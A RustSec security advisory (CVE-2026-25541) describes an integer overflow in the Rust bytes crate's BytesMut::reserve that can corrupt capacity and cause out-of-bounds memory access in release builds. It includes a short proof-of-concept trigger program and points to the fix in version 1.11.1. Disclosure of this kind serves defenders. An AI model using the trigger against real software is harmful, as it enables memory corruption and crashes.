Advisory

RUSTSEC-2026-0007

Also known as: CVE-2026-25541, GHSA-434x-w66g-qw3r

Summary

Integer overflow in BytesMut::reserve

Details

In the unique reclaim path of BytesMut::reserve, the condition

if v_capacity >= new_cap + offset

uses an unchecked addition. When new_cap + offset overflows usize in release builds, this condition may incorrectly pass, causing self.cap to be set to a value that exceeds the actual allocated capacity. Subsequent APIs such as spare_capacity_mut() then trust this corrupted cap value and may create out-of-bounds slices, leading to UB.

This behavior is observable in release builds (integer overflow wraps), whereas debug builds panic due to overflow checks.

PoC

use bytes::*;

fn main() {
    let mut a = BytesMut::from(&b"hello world"[..]);
    let mut b = a.split_off(5);

    // Ensure b becomes the unique owner of the backing storage
    drop(a);

    // Trigger overflow in new_cap + offset inside reserve
    b.reserve(usize::MAX - 6);

    // This call relies on the corrupted cap and may cause UB & HBO
    b.put_u8(b'h');
}

Workarounds

Users of BytesMut::reserve are only affected if integer overflow checks are configured to wrap. When integer overflow is configured to panic, this issue does not apply.

Severity

Not rated by the source.

Dates

Published
2026-02-03 12:00 UTC
Modified
2026-10-12 18:00 UTC

Affected packages and fixes

bytes

crates.io · All systems

Affected

  • introduced 1.2.1, fixed 1.11.1 (semver)

Fixed versions

1.11.1

Fix

  • Fixed version 1.11.1
    cargo update -p bytes --precise 1.11.1

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Source

Source: RustSec Advisory Database · CC BY 4.0

This record names its own licence, CC BY 4.0, which differs from the source's (CC0-1.0).

Sources & licences